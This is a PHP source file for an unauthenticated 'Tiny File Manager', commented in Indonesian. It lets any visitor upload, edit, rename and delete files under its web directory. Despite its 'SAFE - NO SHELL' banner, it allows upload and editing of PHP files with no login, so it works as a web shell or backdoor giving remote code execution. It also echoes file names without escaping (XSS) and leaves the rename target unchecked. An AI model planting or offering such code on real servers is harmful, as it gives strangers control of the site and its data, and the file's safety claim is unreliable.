<?php
/* ==========================
   TINY FILE MANAGER (NO LOGIN)
   SAFE - NO SHELL
   ========================== */

define('ROOT_PATH', __DIR__); // batas folder

function safe_path($path) {
    $real = realpath($path);
    if ($real === false || strpos($real, ROOT_PATH) !== 0) {
        return ROOT_PATH;
    }
    return $real;
}

$path = safe_path(ROOT_PATH . '/' . ($_GET['p'] ?? ''));

/* ===== DELETE ===== */
if (isset($_GET['del'])) {
    $f = safe_path($path . '/' . $_GET['del']);
    if (is_file($f)) unlink($f);
    header("Location: ?p=" . urlencode(str_replace(ROOT_PATH, '', $path)));
    exit;
}

/* ===== RENAME ===== */
if (isset($_POST['old'], $_POST['new'])) {
    rename(
        safe_path($path.'/'.$_POST['old']),
        $path.'/'.basename($_POST['new'])
    );
}

/* ===== UPLOAD ===== */
if (!empty($_FILES['upload']['name'])) {
    move_uploaded_file(
        $_FILES['upload']['tmp_name'],
        $path.'/'.basename($_FILES['upload']['name'])
    );
}

/* ===== SAVE FILE ===== */
if (isset($_POST['save'], $_POST['content'])) {
    file_put_contents(safe_path($_POST['save']), $_POST['content']);
    echo "<script>alert('Saved');</script>";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Tiny File Manager</title>
<style>
body{font-family:Arial;background:#f4f4f4;padding:10px}
a{text-decoration:none}
.box{background:#fff;padding:10px;border-radius:6px}
textarea{width:100%;height:400px}
</style>
</head>
<body>

<div class="box">
<b>Path:</b> <?= htmlspecialchars(str_replace(ROOT_PATH,'',$path)) ?: '/' ?><br><br>

<form method="post" enctype="multipart/form-data">
<input type="file" name="upload">
<button>Upload</button>
</form>

<hr>

<?php
foreach (scandir($path) as $f) {
    if ($f === '.') continue;
    $full = $path.'/'.$f;
    echo is_dir($full)
        ? "📁 <a href='?p=".urlencode(str_replace(ROOT_PATH,'',$full))."'>$f</a><br>"
        : "📄 $f 
           <a href='?edit=".urlencode($full)."'>[edit]</a>
           <a href='?del=".urlencode($f)."' onclick='return confirm(\"hapus?\")'>[x]</a><br>";
}
?>

</div>

<?php
/* ===== EDITOR ===== */
if (isset($_GET['edit'])):
$file = safe_path($_GET['edit']);
if (is_file($file)):
?>
<hr>
<div class="box">
<form method="post">
<b>Edit: <?= basename($file) ?></b><br><br>
<textarea name="content"><?= htmlspecialchars(file_get_contents($file)) ?></textarea>
<input type="hidden" name="save" value="<?= htmlspecialchars($file) ?>">
<br><br>
<button>Simpan</button>
</form>
</div>
<?php endif; endif; ?>

</body>
</html>
